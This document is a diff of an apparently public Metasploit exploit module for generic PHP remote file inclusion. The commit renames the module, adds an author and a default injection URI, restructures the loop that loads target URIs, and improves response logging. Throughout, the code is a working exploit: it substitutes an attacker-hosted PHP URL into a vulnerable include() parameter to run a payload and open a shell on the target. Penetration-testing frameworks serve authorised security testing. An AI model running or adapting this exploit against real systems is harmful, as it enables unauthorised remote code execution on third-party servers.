@@ -14,14 +14,18 @@ def initialize(info = {})
1414 super (
1515 update_info (
1616 info ,
17- 'Name' => 'PHP Remote File Include Generic Code Execution ' ,
17+ 'Name' => 'Generic PHP Remote File Include' ,
1818 'Description' => %q{
19- This module can be used to exploit any generic PHP file include vulnerability,
20- where the application includes code like the following:
21-
22- <?php include($_GET['path']); ?>
19+ This module can be used to exploit any generic PHP remote file include
20+ vulnerability, where the application includes code like the following:
21+ <?php include($_REQUEST['inc']); ?>
2322 } ,
24- 'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
23+ 'Author' => [
24+ 'hdm' ,
25+ 'egypt' ,
26+ 'ethicalhack3r' ,
27+ 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
28+ ] ,
2529 'License' => MSF_LICENSE ,
2630 # 'References' => [ ],
2731 'Privileged' => false ,
@@ -51,16 +55,20 @@ def initialize(info = {})
5155 )
5256 )
5357
54- register_options ( [
55- OptString . new ( 'ROOTDIR' , [ true , 'The base directory to prepend to the URL to try' , '/' ] ) ,
56- OptString . new ( 'PHPURI' , [ false , 'The URI to request, with the include parameter changed to !INJECT!' ] ) ,
57- OptString . new ( 'FORMDATA' , [ false , 'The POST data to send, with the include parameter changed to !INJECT!' ] ) ,
58- OptString . new ( 'HEADERS' , [ false , 'Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"' ] ) ,
59- OptPath . new ( 'PHPRFIDB' , [
60- false , 'A local file containing a list of URLs to try, with !INJECT! replacing the URL' ,
61- File . join ( Msf ::Config . data_directory , 'exploits' , 'php' , 'rfi-locations.dat' )
62- ] )
63- ] )
58+ register_options (
59+ [
60+ OptString . new ( 'ROOTDIR' , [ true , 'The base directory to prepend to PHPURIs' , '/' ] ) ,
61+ OptString . new ( 'PHPURI' , [ false , "The URI to request, with the include()'d parameter changed to !INJECT!" , 'test.php?inc=!INJECT!' ] ) ,
62+ OptString . new ( 'FORMDATA' , [ false , "POST data to send, with the include()'d parameter changed to !INJECT!. Otherwise will be a GET request." ] ) ,
63+ OptString . new ( 'HEADERS' , [ false , 'Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"' ] ) ,
64+ OptPath . new ( 'PHPRFIDB' ,
65+ [
66+ false ,
67+ "A local file containing a list of PHPURIs to try, with the include()'d parameter changed to !INJECT!" ,
68+ File . join ( Msf ::Config . data_directory , 'exploits' , 'php' , 'rfi-locations.dat' )
69+ ] )
70+ ]
71+ )
6472 end
6573
6674 def check
@@ -103,7 +111,7 @@ def datastore_headers
103111 end
104112
105113 def encoded_url ( input )
106- encoded_replacement = Rex ::Text . to_hex ( php_include_url . sub ( /\? $/ , '' ) + '?' , "%" ) # ? append is required and PHPRFIDB cannot be trusted
114+ encoded_replacement = Rex ::Text . to_hex ( php_include_url . sub ( /\? $/ , '' ) + '?' , '%' ) # ? append is required and PHPRFIDB cannot be trusted
107115 input . strip . gsub ( '!INJECT!' , encoded_replacement )
108116 end
109117
@@ -114,8 +122,10 @@ def php_exploit
114122 uris = [ ]
115123
116124 # PHPURI overrides the PHPRFIDB list
117- unless datastore [ 'PHPURI' ]
118- vprint_status ( "Loading PHPURIs from PHPRFIDB" )
125+ if datastore [ 'PHPURI' ]
126+ uris << encoded_url ( normalize_uri ( datastore [ 'ROOTDIR' ] , datastore [ 'PHPURI' ] ) )
127+ else
128+ vprint_status ( 'Loading PHPURIs from PHPRFIDB' )
119129 ::File . open ( datastore [ 'PHPRFIDB' ] , 'rb' ) do |fd |
120130 fd . read ( fd . stat . size ) . split ( /\n / ) . each do |line |
121131 line . strip!
@@ -128,48 +138,51 @@ def php_exploit
128138 end
129139 uris . uniq!
130140 print_status ( "Loaded #{ uris . length } PHPURIs" )
131- else
132- uris << encoded_url ( normalize_uri ( datastore [ 'ROOTDIR' ] , datastore [ 'PHPURI' ] ) )
133141 end
134142
135143 # Very short timeout because the request may never return if we're
136144 # sending a socket payload
137- timeout = 0.01
145+ timeout = 0
138146
139147 # We can't make this parallel without breaking PHP findsock
140148 # Findsock payloads cause this loop to run slowly
141149 uris . each do |uri |
142150 break if session_created?
143151
144- feedback_text = "Sending #{ method } request: http#{ ssl ? 's' : '' } ://#{ rhost } : #{ rport } #{ uri } "
152+ feedback_text = "Sending #{ method } request: http#{ ssl ? 's' : '' } ://#{ Rex :: Socket . to_authority ( rhost , rport ) } #{ uri } "
145153 feedback_text << " -> #{ data } " unless method . casecmp? ( 'get' )
146154 vprint_status ( feedback_text )
147155 begin
148- req = {
149- 'global' => true ,
150- 'uri' => uri ,
151- 'method' => method ,
156+ response = {
157+ 'global' => true ,
158+ 'uri' => uri ,
159+ 'method' => method ,
152160 'headers' => datastore_headers . merge (
153161 'Connection' => 'close'
154162 )
155163 }
156164 unless method . casecmp? ( 'get' )
157- req [ 'headers' ] [ 'Content-Type' ] = 'application/x-www-form-urlencoded'
158- req [ 'headers' ] [ 'Content-Length' ] = data . length
159- req [ 'data' ] = data
165+ response [ 'headers' ] [ 'Content-Type' ] = 'application/x-www-form-urlencoded'
166+ response [ 'headers' ] [ 'Content-Length' ] = data . length
167+ response [ 'data' ] = data
160168 end
161169
162- response = send_request_raw ( req , timeout )
163- vprint_error ( "Server responded with: HTTP #{ response . code } " ) if response and response . code != 200
170+ response = send_request_raw ( response , timeout )
171+ # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
172+ if response . nil?
173+ vprint_warning ( 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.' )
174+ elsif response . code != 200
175+ vprint_error ( "Error with payload request (HTTP #{ response . code } , should be 200)" )
176+ end
164177 rescue ::Interrupt
165- raise $!
178+ raise $ERROR_INFO
166179 rescue ::Rex ::HostUnreachable , ::Rex ::ConnectionRefused
167180 print_error ( 'The target service unreachable' )
168181 break
169182 rescue ::OpenSSL ::SSL ::SSLError
170183 print_error ( 'The target failed to negotiate SSL, is this really an SSL service?' )
171184 break
172- rescue :: Exception => e
185+ rescue => e
173186 print_error ( "Exception #{ e . class } #{ e } " )
174187 end
175188
0 commit comments